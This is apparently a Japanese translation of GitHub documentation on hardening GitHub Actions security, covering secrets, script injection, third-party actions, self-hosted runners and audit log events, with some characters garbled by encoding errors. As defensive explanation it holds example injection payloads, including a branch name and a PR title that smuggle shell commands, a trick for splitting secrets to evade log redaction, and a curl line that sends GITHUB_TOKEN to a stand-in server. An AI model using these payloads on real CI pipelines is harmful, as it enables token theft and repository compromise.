GitHub Actions のセキュリティ強化

注: GitHub ホステッドランナーは、現在 GitHub Enterprise Server でサポートされていません。 GitHub public roadmap で、今後の計画的なサポートの詳細を確認できます。

概要

このガイドでは、特定の GitHub Actions の機能のセキュリティ強化を設定する方法について説明します。 GitHub Actions の概念のことをよく知らない� �合は、GitHub Actions の中心的概念に関する記事をご覧く� さい。

シークレットの使用

機密性の高い値は、平文としてワークフローファイルに保存するのではなく、シークレットとして保存してく� さい。シークレットは、Organization、リポジトリ、または Environment のレベルで構成でき、機密情� �を GitHub Enterprise Server に� �納できます。

シークレットは、Libsodium のシールドボックスを使うことで、GitHub Enterprise Server に届く前に暗号化されます。これは、シークレットが UI または REST API を使って送信されるときに行われます。このクライアント側の暗号化により、GitHub Enterprise Server のインフラストラクチャ内での偶発的なログ（例外ログやリクエストログなど）に関連するリスクを最小限に抑えることができます。シークレットがアップロードされると、GitHub Enterprise Server はそれを復号化して、ワークフローランタイ� に挿入できるようになります。

偶発的な開示を防ぐために、GitHub Enterprise Server は、実行ログに表示されるシークレットを編集しようとするメカニズ� を使用しています。この編集は、設定されたシークレットの完全一致、および Base64 などの値の一般的なエンコーディングを検索します。た� し、シークレットの値を変換する方法は複数あるため、この編集は保証されません。そのため、シークレットを確実に編集し、シークレットに関連する他のリスクを制限するために実行する必要がある、特定の予防的ステップと推奨事� �は次のとおりです。

構� 化データをシークレットとして使わない
- 構� 化データは、ログ内のシークレットの編集失敗の原� となる可能性があります。これは、編集が特定のシークレット値の完全一致を見つけることに大きく依存しているためです。たとえば、JSON、XML、または YAML（または同様）の Blob を使用してシークレット値をカプセル化しないでく� さい。シークレットが適切に編集される可能性が大幅に低下するためです。代わりに、機密値ごとに個別のシークレットを作成します。
ワークフロー内で使われるすべてのシークレットを登録する
- シークレットを使ってワークフロー内で別の機密値を生成する� �合は、その生成された値を正式にシークレットとして登録して、ログに表示されることがある� �合は編集された状態になるようにする必要があります。たとえば、秘密鍵を使用して署名済み JWT を生成し、Web API にアクセスする� �合は、その JWT をシークレットとして登録してく� さい。そうしない� �合、ログ出力に入力されても編集されません。
- シークレットの登録は、あらゆる種類の変換/エンコーディングにも適用されます。シークレットが何らかの方法で変換された� �合（Base64 や URL エンコードなど）、新しい値もシークレットとして登録してく� さい。
シークレットの処理方法を監査する
- シークレットの使用方法を監査し、シークレットが想定どおりに処理されていることを確認します。これを行うには、ワークフローを実行しているリポジトリのソースコードを確認し、ワークフローで使用されているアクションを確認します。たとえば、意図しないホストに送信されていないか、またはログ出力に明示的に出力されていないかを確認します。
- 有効/無効な入力をテストした後、ワークフローの実行ログを表示し、シークレットが正しく編集されているか、表示されていないかを確認します。呼び出しているコマンドまたはツールがどのようにしてエラーを STDOUT や STDERR に送信するかは必ずしも明らかではなく、シークレットが後でエラーログに記録される可能性があります。そのため、有効な入力と無効な入力をテストした後、ワークフローログを手動で確認することをお勧めします。
最小限のスコープを設定された認証情� �を使う
- ワークフロー内で使用されている認証情� �に必要な最小限の権限があることを確認し、リポジトリへの書き込みアクセスを持つすべてのユーザが、リポジトリで設定されたすべてのシークレットへの読み取りアクセスを持っていることに注意してく� さい。
- Actions は、github.token コンテキストからアクセスすることで GITHUB_TOKEN を使用できます。詳細については、「コンテキスト」を参照してく� さい。したがって、GITHUB_TOKEN に最低限必要な権限が付与されていることを確認する必要があります。リポジトリの内容の読み取りアクセスのみを行うように GITHUB_TOKEN の既定のアクセス許可を設定することを、セキュリティの点からお勧めします。その後、必要に応じて、ワークフローファイル内の個々のジョブの権限を増やすことができます。詳細については「ワークフローで認証する」を参照してく� さい。
登録されたシークレットの監査とローテーションを行う
- 登録されたシークレットを定期的に確認して、現在も必要であることを確認します。不要になったものは削除してく� さい。
- シークレットを定期的にローテーションして、不正使用されたシークレットが有効である期間を短縮します。
シークレットへのアクセスのレビューを必� �にすることを検討する
- 必� �のレビュー担当者を使って環境のシークレットを保護できます。レビュー担当者によって許可されるまで、ワークフローのジョブは環境のシークレットにアクセスできません。環境へのシークレットの� �納、または環境のレビューの要求について詳しくは、「暗号化されたシークレット」および「デプロイに環境を使用する」をご覧く� さい。

警告: リポジトリへの書き込みアクセス権を持つすべてのユーザーは、リポジトリに構成されているすべてのシークレットへの読み取りアクセス権を持っています。そのため、ワークフロー内で使われる資� �情� �が持つ特権は必要最小限のものにする必要があります。

`CODEOWNERS` を使用して変更を監視する

CODEOWNERS 機能を使って、ワークフローファイルの変更方法を制御できます。たとえば、すべてのワークフローファイルが .github/workflows に� �納されている� �合は、このディレクトリをコード所有者リストに追� することで、これらのファイルに対して提案された変更は、指定されているレビュー担当者が最初に承認する必要があるようにすることができます。

詳細については、「コードオーナーについて」を参照してく� さい。

スクリプトインジェクションのリスクを理解する

ワークフロー、カスタ� アクション、複合アクションを作成するときは、攻撃者からの信� �されていない入力をコードが実行する可能性があるかどうかを常に考慮する必要があります。これは、攻撃者が悪意のあるコマンドとスクリプトをコンテキストに追� したときに発生する可能性があります。ワークフローの実行時に、それらの文字列がコードとして解釈されて、ランナーで実行される� �合があります。

攻撃者は、自分の悪意のあるコンテンツを githubコンテキストに追� する可能性があります。これは、潜在的に信� �されない入力として扱う必要があります。このようなコンテキストは、通常、body、default_branch、email、head_ref、label、message、name、page_name、ref、title で終わるものです。例: github.event.issue.title、または github.event.pull_request.body。

これらの値が、ワークフロー、アクション、API 呼び出し、またはそれらが実行可能なコードとして解釈される可能性のあるその他の� �所に直接流れないようにする必要があります。他の特権アプリケーションコードに使用するのと同じ防御型プログラミング方針を採用することで、GitHub Actions の使用のセキュリティを強化できます。攻撃者が実行する可能性のある手� �の一部については、「侵害されたランナーの潜在的な影響」をご覧く� さい。

さらに、それ以外にも、ブランチ名やメールアドレスなど、あまり知られていませんが潜在的に信� �されない入力のソースがあり、許可された内容の観点からは非常に柔軟性があります。たとえば、zzz";echo${IFS}"hello";# は有効なブランチ名であり、ターゲットリポジトリに対する攻撃ベクトルになる可能性があります。

以下のセクションでは、スクリプトインジェクションのリスクを軽減するのに役立つ方法について説明します。

スクリプトインジェクション攻撃の例

スクリプトインジェクション攻撃は、ワークフローのインラインスクリプト内で直接発生する可能性があります。次の例のアクションでは、式を使って pull request タイトルの有効性がテストされていますが、スクリプトインジェクションのリスクも� わります。

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

この例の� �合、ランナーの一時シェルスクリプト内で run コマンドが実行されるため、スクリプトインジェクションに対して脆弱です。シェルスクリプトが実行される前に、${{ }} 内の式が評価されてから、結果の値に置き換えられます。これにより、シェルコマンドインジェクションに対して脆弱になる可能性があります。

このワークフローにコマンドを挿入するため、攻撃者は a"; ls $GITHUB_WORKSPACE" というタイトルの pull request を作成する可能性があります。

PR タイトルでのスクリプトインジェクションの例

この例では、文字 " を使って title="${{ github.event.pull_request.title }}" ステートメントを中断し、ランナーで ls コマンドを実行できるようにします。 ls コマンドの出力をログで確認できます。

スクリプトインジェクションの結果の例

スクリプトインジェクション攻撃を軽減するための優れたプラクティス

スクリプトインジェクションのリスクを軽減するのに役立つさまざまな方法があります。

インラインスクリプトの代わりにアクションを使用する (推奨)

推奨される方法は、コンテキストの値を引数として処理するアクションを作成することです。コンテキストの値はシェルスクリプトの生成には使われず、代わりに引数としてアクションに渡されるため、この方法はインジェクション攻撃に対して脆弱ではありません。

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

中間環境変数を使用する

インラインスクリプトの� �合、信� �されない入力を処理するための推奨される方法は、式の値を中間環境変数に設定することです。

次の例では、Bash を使って github.event.pull_request.title の値を環境変数として処理しています。

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

この例では、スクリプトインジェクションの試みは失敗します。

軽減されたスクリプトインジェクションの例

この方法では、${{ github.event.issue.title }} 式の値はメモリに� �納されて変数として使われ、スクリプト生成プロセスとはやり取りされません。さらに、二重引用符シェル変数を使って単語分割を回避することを検討します。た� し、これはシェルスクリプトの記述に関する多くの一般的な推奨事� �の 1 つであり、GitHub Actions に固有ではありません。

トークンのアクセス許可を制限する

公開されたトークンのリスクを軽減するには、割り当てられるアクセス許可を制限することを検討します。詳しくは、「GITHUB_TOKEN の権限を変更する」をご覧く� さい。

サードパーティアクションを使用する

ワークフロー内の個々のジョブは、他のジョブと相互作用（および侵害）する� �合があります。たとえば、後のジョブで使用される環境変数をクエリするジョブ、後のジョブが処理する共有ディレクトリにファイルを書き込むジョブ、あるいはもっと直接的にDocker ソケットとやり取りして他の実行中のコンテナを検査してコマンドを実行するジョブなどです。

つまり、ワークフロー内の 1 つのアクションが侵害されると、その侵害されたアクションがリポジトリで構成されているすべてのシークレットにアクセスでき、GITHUB_TOKEN を使ってリポジトリに書き込むことができる� �合があるため、非常に大きな問題になる可能性があります。したがって、GitHub のサードパーティリポジトリからアクションを調達することには大きなリスクがあります。攻撃者が実行する可能性のある手� �の一部については、「侵害されたランナーの潜在的な影響」をご覧く� さい。

次のような適切な方法に従うことで、このリスクを軽減することができます。

アクションを完全なコミット SHA にピン止めする

現在、アクションを不変のリリースとして使用する唯一の方法は、アクションを完全なコミット SHA にピン止めすることです。特定の SHA にピン止めすると、有効な Git オブジェクトペイロードに対して SHA-1 衝突を生成する必要があるため、悪意のある人がアクションのリポジトリにバックドアを追� するリスクを軽減できます。
アクションのソースコードを監査する

アクションが想定どおりにリポジトリとシークレットのコンテンツを処理していることを確認します。たとえば、シークレットが意図しないホストに送信されていないか、または誤ってログに記録されていないかを確認します。
作成者を信� �できる� �合に限り、アクションをタグにピン止めする

コミット SHA に対するピン止めが最も安全なオプションですが、タグを指定する方が便利で広く使用されています。タグを指定する� �合は、アクションの作成者が信� �できることを確認してく� さい。 GitHub Marketplace の「Verified creator」バッジは便利な判断材料で、 GitHub で身元が確認されたチー� によって作成されたアクションであることを示しています。作者が信� �できる� �合でも、このアプローチにはリスクがあることに注意してく� さい。悪意のある人がアクションを保存しているリポジトリにアクセスすると、タグが移動または削除される可能性があります。

OpenSSF Scorecards を使用してワークフローをセキュリティで保護する

Scorecards は、リスクの高いサプライチェーンプラクティスにフラグを設定する自動セキュリティツールです。 Scorecards アクションとスターターワークフローを使って、セキュリティのベストプラクティスに従うことができます。構成された Scorecards アクションは、リポジトリが変更されると自動的に実行し、組み込みの code scanning エクスペリエンスを使ってリスクの高いサプライチェーンプラクティスについて開発者に警告します。 Scorecards プロジェクトでは、スクリプトインジェクション攻撃、トークンのアクセス許可、ピン留めされたアクションなど、さまざまなチェックが実行されます。

侵害されたランナーの潜在的な影響

以下のセクションでは、攻撃者が GitHub Actions ランナーで悪意のあるコマンドを実行できる� �合に実行できるいくつかの手� �について説明します。

注: GitHub ホステッドランナーは、侵害されたサードパーティのライブラリなど、ユーザーがジョブの間にダウンロードした悪意のあるコードをスキャンしません。

シークレットにアクセスする

pull_request イベントを使ってトリガーされたワークフローには、シークレットの読み取り専用のアクセス許可があり、アクセス権はありません。た� し、これらのアクセス許可は、攻撃者がリポジトリのシークレットを盗ん� り、ジョブの GITHUB_TOKEN の書き込みアクセス許可を使用したりするために試みる可能性がある、issue_comment、issues、push などのさまざまなイベントトリガーの� �合は異なります。

シークレットまたはトークンが環境変数に設定されている� �合は、printenv を使って環境を介して直接アクセスできます。
シークレットが式の中で直接使われた� �合、生成されるシェルスクリプトはディスク上に� �納されてアクセスできます。
カスタ� アクションの� �合のリスクは、プログラ� が引数から取得したシークレットを使用する方法によって異なる� �合があります。
```
uses: fakeaction/publish@v3
with:
    key: ${{ secrets.PUBLISH_KEY }}
```

GitHub Actions は、ワークフロー(または含まれるアクション) で参照されていないシークレットをメモリから除去しますが、攻撃者はその気になれば GITHUB_TOKEN や参照されているシークレットを取得できます。

ランナーからのデータの流出

攻撃者は、盗まれたシークレットや他のデータをランナーから流出させる可能性があります。シークレットが誤って漏えいするのを防ぐため、GitHub Actions はログに書き込まれるシークレットを自動的に編集しますが、シークレットを意図的にログに送信できるため、これは真のセキュリティ境界ではありません。たとえば、難読化されたシークレットは echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200}; を使って流出される可能性があります。さらに、攻撃者は任意のコマンドを実行できるため、HTTP 要求を使ってシークレットや他のリポジトリデータを外部サーバーに送信する可能性があります。

ジョブの `GITHUB_TOKEN` を盗む

攻撃者はジョブの GITHUB_TOKEN を盗む可能性があります。 GitHub Actions ランナーは、ワークフローを含むリポジトリのみに制限されたアクセス許可を指定して生成された GITHUB_TOKEN を自動的に受け取り、そのトークンの有効期限はジョブが完了すると切れます。有効期限が切れたトークンは、攻撃者にとって役に立たなくなります。この制限を回避するため、攻撃者は、トークンを使って攻撃者が制御するサーバーを呼び出すことによって (a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;# など)、攻撃を自動化して一瞬で実行できます。

リポジトリの内容を変更する

攻撃者のサーバーは、GITHUB_TOKEN に割り当てられたアクセス許可が制限されていなければ、GitHub Enterprise Server API を使って、リリースなどのリポジトリの内容を変更することができます。

リポジトリ間のアクセスを検討する

GitHub Actions のスコープは、意図的に一度に単一のリポジトリに設定されています。書き込みアクセス権を持つユーザーは、ワークフローファイルを作成または変更し、必要に応じて GITHUB_TOKEN のアクセス許可を昇� �することによって GITHUB_TOKEN にアクセスできるため、このトークンは書き込みアクセス権を持つユーザーと同じレベルのアクセスを許可します。ユーザーはリポジトリごとに特定のアクセス許可を持っているため、1 つのリポジトリの GITHUB_TOKEN に別のリポジトリへのアクセス権を付与すると、慎重に実装しない� �合、GitHub のアクセス許可モデルに影響します。同様に、GitHub 認証トークンをワークフローに追� する� �合は注意が必要です。これは、コラボレータに誤って広範なアクセスを付与することにより、GitHub アクセス許可モデルにも影響を与える可能性があるためです。

GitHub Enterprise Server 内でのリポジトリ間アクセスを許可するフローをサポートすることが GitHub のロードマップで計画されていますが、この機能はま� サポートされていません。現在、権限のあるリポジトリ間のやり取りを実行する唯一の方法は、ワークフロー内に GitHub 認証トークンまたは SSH キーをシークレットとして配置することです。多くの認証トークンタイプでは特定のリソースへの詳細なアクセスが許可されていないことから、意図したものよりはるかに広範なアクセスを許可できるため、間違ったトークンタイプを使用すると重大なリスクが生じます。

次のリストでは、ワークフロー内のリポジトリデータにアクセスするための推奨アプローチを優先度の高い� �に説明しています。

GITHUB_TOKEN
- このトークンは、ワークフローを呼び出した単一のリポジトリに意図的にスコープが設定されており、リポジトリの書き込みアクセスユーザーと同じレベルのアクセス権を持つことができます。トークンは各ジョブが開始する前に作成され、ジョブが終了すると期限切れになります。詳細については、「GITHUB_TOKEN を使用した認証」を参照してく� さい。
- 可能な限り、GITHUB_TOKEN を使う必要があります。
リポジトリのデプロイキー
- デプロイキーは、単一のリポジトリへの読み取りまたは書き込みアクセスを許可する唯一の認証情� �タイプの 1 つであり、ワークフロー内の別のリポジトリとのやり取りに使用できます。詳細については、「デプロイキーの管理」を参照してく� さい。
- デプロイキーは Git を使用してリポジトリにクローンおよびプッシュできる� けであり、REST または GraphQL API とのやり取りには使用できないため、要件に適さない� �合があることに注意してく� さい。
GitHub App トークン
- GitHub Apps は、選択したリポジトリにインストールでき、リポジトリ内のリソースに対する詳細な権限を持つこともできます。 Organization の内部で GitHub App を作成し、ワークフロー内でアクセスする必要があるリポジトリにインストールして、それらのリポジトリにアクセスするためのワークフロー内のインストールとして認証できます。
personal access token
- personal access token は使わないでく� さい。これらのトークンは、ユーザーがアクセスできる Organization 内のすべてのリポジトリ、および個人アカウント内のすべての個人リポジトリへのアクセスを許可します。これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。
- personal access token を使う� �合は、自分のアカウントから personal access token を使わないでく� さい。後で Organization を離れると、このトークンを使用するワークフローはすぐに中断され、この問題のデバッグが困難になる� �合があります。代わりに、Organization に属していて、ワークフローに必要な特定のリポジトリへのアクセスのみを許可されている新しいアカウントには、personal access token を使う必要があります。このアプローチはスケーラブルではないため、デプロイキーなどの代替案を優先して避ける必要があります。
個人アカウントの SSH キー
- ワークフローでは、個人アカウントの SSH キーを使わないようにする必要があります。これらは、personal access tokens と同様に、そのユーザーのすべての個人リポジトリと、Organization のメンバーシップを通じてそのユーザーがアクセスできるすべてのリポジトリに対する、読み取りと書き込みのアクセス許可を付与します。これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。リポジトリのクローンまたはプッシュのみを実行する必要があり、パブリック API とやり取りする必要がないため、SSH キーを使用する� �合は、代わりに個別のデプロイキーを使用する必要があります。

セルフホストランナーを強化する

GitHub Enterprise Server のセルフホステッドランナーは、一時的でクリーンな仮想マシンでの実行に関する保証がなく、ワークフロー内の信� �されていないコードによって永続的に侵害される可能性があります。

プライベートまたは内部リポジトリでセルフホステッドランナーを使うときは注意が必要です。リポジトリをフォークして pull request を開くことができるユーザー (通常は、リポジトリへの読み取りアクセス権を持つユーザー) は、セルフホステッドランナー環境を侵害できます。それには、シークレットへのアクセスや、リポジトリへの書き込みアクセス権を設定に応じて付与できる GITHUB_TOKEN の取得が含まれます。ワークフローは、環境と必要なレビューを使用して環境シークレットへのアクセスを制御できますが、これらのワークフローは分離された環境では実行されず、セルフホストランナーで実行した� �合でも同じリスクの影響を受けやすくなります。

セルフホストランナーがOrganizationもしくはEnterpriseのレベルで定義されているなら、GitHub Enterprise Serverは同じランナー上で複数のリポジトリからのワークフローをスケジューリングするかもしれません。したがって、これらの環境へのセキュリティ侵害は、大きな影響をもたらす可能性があります。侵害の範囲を狭めるために、セルフホストランナーを個別のグループにまとめることで、境界を作ることができます。ランナーグループにアクセスできるOrganization、リポジトリを制限できます。詳細については、「グループを使用してセルフホストランナーへのアクセスを管理する」を参照してく� さい。

次のように、セルフホストランナーマシンの環境も考慮する必要があります。

セルフホストランナーとして設定されたマシンにはどのような機密情� �が存在するか。たとえば、SSH 秘密鍵、API アクセストークンなどです。
マシンが機密性の高いサービスにネットワークアクセス可能か。たとえば、Azure または AWS メタデータサービスなどです。この環境での機密情� �量は最小限に抑える必要があります。ワークフローを呼び出すことができるすべてのユーザがこの環境にアクセスできることを常に意識しておいてく� さい。

中には、それぞれのジョブの実行後にセルフホストランナーを自動的に� �棄するようなシステ� を実装することで、このリスクを部分的に軽減しようとするお客様もいます。しかし、このアプローチは意図したほどには効果的ではないかもしれません。これは、セルフホストランナーが1つのジョブ� けを実行するという保証がないためです。一部のジョブでは、コマンドライン引数としてシークレットが使われ、同じランナーで実行している別のジョブで見ることができます (ps x -w など)。これにより、シークレットが漏えいする可能性があります。

セルフホステッドランナーの管理戦略を計画する

セルフホステッドランナーは、GitHub 階層のさまざまなレベル (Enterprise、Organization、リポジトリレベル) に追� できます。この配置により、ランナーを管理できるユーザーが決まります。

一元管理:

一元化されたチー� でセルフホステッドランナーを所有する� �合は、最も高い相互 Organization または Enterprise レベルにランナーを追� することをお勧めします。これにより、チー� は 1 つの� �所でランナーを表示および管理できます。
Organization が 1 つ� けの� �合、Organization レベルでランナーを追� するのは実質的に同じ方法ですが、将来別の Organization を追� したときに問題が発生する可能性があります。

分散管理:

各チー� が自分のセルフホステッドランナーを管理する� �合は、チー� の所有権の最上位レベルでランナーを追� することをお勧めします。たとえば、各チー� が自分の Organization を所有している� �合は、ランナーも Organization レベルで追� すると最も簡単になります。
リポジトリレベルでランナーを追� することもできますが、リポジトリ間ではランナーを共有できないため、管理オーバーヘッドが増� し、必要なランナーの数も増えます。

GitHub Actionsイベントの監査

Organizationの管理タスクをモニタするために、監査ログを使用できます。監査ログには、アクションの種類、実行された日時、実行した個人アカウントが記録されます。

たとえば、監査ログを使って、Organization のシークレットへの変更を追跡する org.update_actions_secret イベントを追跡できます。監査ログのエントリ

以下の表は、監査ログにあるGitHub Actionsのイベントを示します。監査ログの使用について詳しくは、「Organization の監査ログをレビューする」と「Enterprise の監査ログをレビューする」をご覧く� さい。

設定変更のイベント

アクション	説明
`repo.actions_enabled`	リポジトリに対して GitHub Actions が有効化されたときにトリガーされます。 UI を使用して表示できます。このイベントは、REST API を使用して Audit log にアクセスした� �合には表示されません。詳しくは、REST API の使用に関するページをご覧く� さい。
`repo.update_actions_access_settings`	他のリポジトリ内の GitHub Actions ワークフローからリポジトリを使用する方法を制御する設定が変更されるとトリガーされます

シークレット管理のイベント

アクション	説明
`org.create_actions_secret`	Organization に対して GitHub Actions シークレットが作成されたときにトリガーされます。詳細については、「Organization の暗号化されたシークレットの作成」を参照してく� さい。
`org.remove_actions_secret`	GitHub Actions シークレットが削除されたときにトリガーされます。
`org.update_actions_secret`	GitHub Actions シークレットが更新されたときにトリガーされます。
`repo.create_actions_secret`	リポジトリに対して GitHub Actions シークレットが作成されたときにトリガーされます。詳細については、「リポジトリの暗号化されたシークレットの作成」を参照してく� さい。
`repo.remove_actions_secret`	GitHub Actions シークレットが削除されたときにトリガーされます。
`repo.update_actions_secret`	GitHub Actions シークレットが更新されたときにトリガーされます。

セルフホストランナーのイベント

アクション	説明
`enterprise.register_self_hosted_runner`	新しいセルフホストランナーが登録されたときにトリガーされます。詳しくは、「セルフホストランナーを Enterprise に追� する」をご覧く� さい。
`enterprise.remove_self_hosted_runner`	セルフホストランナーが削除されたときにトリガーされます。
`enterprise.runner_group_runners_updated`	ランナーグループのメンバーリストが更新されるとトリガーされます。詳細については、「組織のグループにセルフホストランナーを設定する」を参照してく� さい。
`enterprise.self_hosted_runner_online`	ランナーアプリケーションが開始されたときにトリガーされます。 REST APIを通じてのみ見ることができます。UIあるいはJSON/CSVエクスポートでは見ることができません。詳細については、「セルフホストランナーのステータスのチェック」を参照してく� さい。
`enterprise.self_hosted_runner_offline`	ランナーアプリケーションが停止されたときにトリガーされます。 REST APIを通じてのみ見ることができます。UIあるいはJSON/CSVエクスポートでは見ることができません。詳細については、「セルフホストランナーのステータスのチェック」を参照してく� さい。
`enterprise.self_hosted_runner_updated`	ランナーアプリケーションが更新されたときにトリガーされます。 REST API と UI を使用して表示できます。 Audit log を JSON データまたは CSV ファイルとしてエクスポートする� �合、このイベントは含まれません。詳しくは、「セルフホストランナーについて」と「Organization の監査ログをレビューする」をご覧く� さい。
`org.register_self_hosted_runner`	新しいセルフホストランナーが登録されたときにトリガーされます。詳細については、「Organization へのセルフホストランナーの追� 」を参照してく� さい。
`org.remove_self_hosted_runner`	セルフホストランナーが削除されたときにトリガーされます。詳しくは、「Organization からのランナーの削除」をご覧く� さい。
`org.runner_group_runners_updated`	ランナーグループのメンバーリストが更新されたときにトリガーされます。詳細については、「組織のグループにセルフホストランナーを設定する」を参照してく� さい。
`org.runner_group_updated`	セルフホストランナーグループの設定が変更されたときにトリガーされます。詳細については、「セルフホストランナーグループのアクセスポリシーを変更する」を参照してく� さい。
`org.self_hosted_runner_online`	ランナーアプリケーションが開始されたときにトリガーされます。 REST APIを通じてのみ見ることができます。UIあるいはJSON/CSVエクスポートでは見ることができません。詳細については、「セルフホストランナーのステータスのチェック」を参照してく� さい。
`org.self_hosted_runner_offline`	ランナーアプリケーションが停止されたときにトリガーされます。 REST APIを通じてのみ見ることができます。UIあるいはJSON/CSVエクスポートでは見ることができません。詳細については、「セルフホストランナーのステータスのチェック」を参照してく� さい。
`org.self_hosted_runner_updated`	ランナーアプリケーションが更新されたときにトリガーされます。 REST API及びUIを使って見ることができます。JSON/CSVエクスポートで見ることはできません。詳細については、セルフホステッドランナーに関する記述をご覧く� さい。
`repo.register_self_hosted_runner`	新しいセルフホストランナーが登録されたときにトリガーされます。詳細については、「リポジトリへのセルフホストランナーの追� 」を参照してく� さい。
`repo.remove_self_hosted_runner`	セルフホストランナーが削除されたときにトリガーされます。詳細については、「リポジトリからのランナーの削除」を参照してく� さい。
`repo.self_hosted_runner_online`	ランナーアプリケーションが開始されたときにトリガーされます。 REST APIを通じてのみ見ることができます。UIあるいはJSON/CSVエクスポートでは見ることができません。詳細については、「セルフホストランナーのステータスのチェック」を参照してく� さい。
`repo.self_hosted_runner_offline`	ランナーアプリケーションが停止されたときにトリガーされます。 REST APIを通じてのみ見ることができます。UIあるいはJSON/CSVエクスポートでは見ることができません。詳細については、「セルフホストランナーのステータスのチェック」を参照してく� さい。
`repo.self_hosted_runner_updated`	ランナーアプリケーションが更新されたときにトリガーされます。 REST API及びUIを使って見ることができます。JSON/CSVエクスポートで見ることはできません。詳細については、セルフホステッドランナーに関する記述をご覧く� さい。

セルフホストランナーグループのイベント

アクション	説明
`enterprise.runner_group_created`	セルフホストランナーグループが作成されたときにトリガーされます。詳しくは、「Enterprise のセルフホストランナーグループを作成する」をご覧く� さい。
`enterprise.runner_group_removed`	セルフホストランナーグループが削除されたときにトリガーされます。詳細については、「セルフホストランナーグループを削除する」を参照してく� さい。
`enterprise.runner_group_runner_removed`	セルフホストランナーをグループから削除するのにREST APIが使われたときにトリガーされます。
`enterprise.runner_group_runners_added`	セルフホストランナーがグループに追� されたときにトリガーされます。詳細については、「セルフホストランナーをグループに移動する」を参照してく� さい。
`enterprise.runner_group_updated`	セルフホストランナーグループの設定が変更されたときにトリガーされます。詳細については、「セルフホストランナーグループのアクセスポリシーを変更する」を参照してく� さい。
`org.runner_group_created`	セルフホストランナーグループが作成されたときにトリガーされます。詳細については、組織のセルフホストランナーグループの作成に関する記事を参照してく� さい。
`org.runner_group_removed`	セルフホストランナーグループが削除されたときにトリガーされます。詳細については、「セルフホストランナーグループを削除する」を参照してく� さい。
`org.runner_group_updated`	セルフホストランナーグループの設定が変更されたときにトリガーされます。詳細については、「セルフホストランナーグループのアクセスポリシーを変更する」を参照してく� さい。
`org.runner_group_runners_added`	セルフホストランナーがグループに追� されたときにトリガーされます。詳細については、「セルフホストランナーをグループに移動する」を参照してく� さい。
`org.runner_group_runner_removed`	セルフホストランナーをグループから削除するのにREST APIが使われたときにトリガーされます。詳細については、「組織のグループからセルフホストランナーを削除する」を参照してく� さい。

ワークフローアクティビティのイベント

アクション	説明
`cancel_workflow_run`	ワークフローの実行がキャンセルされたときにトリガーされます。詳細については、「ワークフローの取り消し」を参照してく� さい。
`completed_workflow_run`	ワークフローの状態が `completed` に変わったときにトリガーされます。 REST APIを通じてのみ見ることができます。UIやJSON/CSVエクスポートでは見ることができません。詳細については、「ワークフロー実行の履歴を表示する」を参照してく� さい。
`created_workflow_run`	ワークフローの実行が作成されたときにトリガーされます。 REST APIを通じてのみ見ることができます。UIやJSON/CSVエクスポートでは見ることができません。詳細については、「ワークフローの例を作成する」を参照してく� さい。
`delete_workflow_run`	ワークフローの実行が削除されたときにトリガーされます。詳細については、「ワークフロー実行の削除」を参照してく� さい。
`disable_workflow`	ワークフローが無効化されたときにトリガーされます。
`enable_workflow`	以前に `disable_workflow` によって無効にされたワークフローが有効にされたときにトリガーされます。
`rerun_workflow_run`	ワークフローの実行が再実行されたときにトリガーされます。詳細については、ワークフローの再実行に関するページを参照してく� さい。
`prepared_workflow_job`	ワークフロージョブが開始されたときにトリガーされます。ジョブに渡されたシークレットのリストを含みます。 REST API を使ってのみ表示できます。これは、GitHub Web インターフェイスでは表示されず、JSON/CSV エクスポートにも含まれません。詳細については、「ワークフローをトリガーするイベント」を参照してく� さい。
`approve_workflow_job`	ワークフロージョブが承認されたときにトリガーされます。詳細については、「デプロイの確認」を参照してく� さい。
`reject_workflow_job`	ワークフロージョブが拒否されたときにトリガーされます。詳細については、「デプロイの確認」を参照してく� さい。